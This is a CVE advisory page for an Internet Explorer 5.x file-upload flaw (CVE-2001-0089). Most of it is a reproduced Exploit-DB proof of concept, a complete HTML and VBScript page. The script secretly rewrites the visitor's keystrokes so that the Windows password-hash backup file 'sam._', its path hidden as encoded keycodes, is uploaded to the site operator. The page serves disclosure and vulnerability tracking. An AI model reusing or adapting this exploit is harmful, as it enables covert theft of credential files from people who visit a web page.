CVE-2001-0089 : Detail

CVE-2001-0089

0.65%V3
Network
2001-05-07
02h00 +00:00
2005-11-02
09h00 +00:00
CVE.org
NVD
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CVE Descriptions

Internet Explorer 5.0 through 5.5 allows remote attackers to read arbitrary files from the client via the INPUT TYPE element in an HTML form, aka the "File Upload via Form" vulnerability.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 2.6 AV:N/AC:H/Au:N/C:P/I:N/A:N nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 20459

Publication date : 2000-11-30 23h00 +00:00
Author : Key
EDB Verified : Yes

<!-- source: https://www.securityfocus.com/bid/2045/info One of the ways users submit information to remote websites is through the INPUT type form options. Users can upload files to remote webservers with the input type=FILE option. Due to a design error in the implementation of the INPUT TYPE=FILE variable , it is possible for a website operator to specify a known filename from the visitors machine for upload to the website. This vulnerability is exploitable under certain circumstances, the filename would have to be known by the website operator, the amount of characters that exist in the filename would have to be the same amount of characters the user typed in the form, and the visiting user would need to have at least read access to the known file. This vulnerability does not allow the website operator to delete or modify any files on the visitors machine. Successful exploitation of this vulnerability could lead to the disclosure of sensitive information and possibly assist in further attacks against the victim. --> <HTML> <HEAD> <META NAME="GENERATOR" Content="Microsoft Visual Studio 6.0"> <TITLE></TITLE> </HEAD> <BODY> <form action="../get_file.asp" method="POST" enctype="multipart/form-data" id=form1 name=form1> <table width="400" align="center" border="0" cellpadding="0" cellspacing="0"> <tr><td colspan="2" align="right"></td></tr> <tr><td bgcolor="000080" width="480"> <font size="3" color="white"><b>&nbsp;Example.. IE 5 Version</b></font></td><td align="right" bgcolor="FFFFFF"> </td></tr> </table> <table border="0" width="400" cellspacing="1" cellpadding="2" bgcolor="#000000" align="center"> <tr> <td colspan="2" bgcolor="white" align="left"><font face="Verdana" size="2"><b>Text:</b></font> <input type="text" name="userInput" size="31" maxlength="" onKeyPress="myFuncFirst()"></td> </td> </tr> <tr> <td colspan="2" bgcolor="white" align="left"><font face="Verdana" size="2"><b>File:</b></font> <input type="File" name="file" size="31" onFocus="myFocus()" size=0></td> </td> </tr> <tr> <td width="60%">&nbsp;</td> <td width="40%" bgcolor="#FFFFFF" align="right"><input type="submit" id="submit1" name="submit1" value="Post">&nbsp;&nbsp;<input type="reset" value="Reset" id="reset1" name="reset1"> <input type="hidden" name="doit" value="1"> </td> </tr> </table> </form> <script language="VBScript"> 'A lot of this is pretty, I don't have much time for this kind of stuff. 'Make changes as you wish, but be sure to include me (key) in your version. 'Declare stuff Dim userKey Dim charCount Dim getFile Dim myArray '67|58|47|87|73|78|78|84|47|82|69|80|65|73|82|47|83|65|77|46|95 'c : \ w i n n t \ r e p a i r \ s a m . _ 'Has to be backwards, that's the order I push it into the File field. '95|46|77|65|83|47|82|73|65|80|69|82|47|84|78|78|73|87|47|58|67 '_ . m a s \ r i a p e r \ t n n i w \ : c 'Set getFile with the correct keycodes getFile = "95|46|77|65|83|47|82|73|65|80|69|82|47|84|78|78|73|87|47|58|67" 'ReDim myArray to correct UBound ReDim myArray(Len(getFile)/3) 'Index of array to use charCount = 0 'Set myArray with a split version of getfile myArray = split(getFile, "|") 'This is activated anytime Sub myFocus() document.form1.userInput.focus document.form1.userInput.innerText = document.form1.userInput.value End Sub 'This is activated with the onKeyPress event of userInput Sub myFuncFirst() If charCount < (Len(getFile)/3) Then 'Find the key the user pressed userKey = chr(window.event.keyCode) 'Change that key to the keycode we want window.event.keyCode = cint(myArray(charCount)) 'Set focus to form1.file so that our key gets sent to it document.form1.file.focus 'Increment charCount to the next char we want charCount = charCount + 1 'Make userInput reflect the user's change document.form1.userInput.innerText = document.form1.userInput.value + userKey end if End Sub </script> <P>&nbsp;</P> </BODY> </HTML>

Products Mentioned

Configuraton 0

Microsoft>>Internet_explorer >> Version To (including) 5.5

Microsoft>>Internet_explorer >> Version 5.0

Microsoft>>Internet_explorer >> Version 5.01

References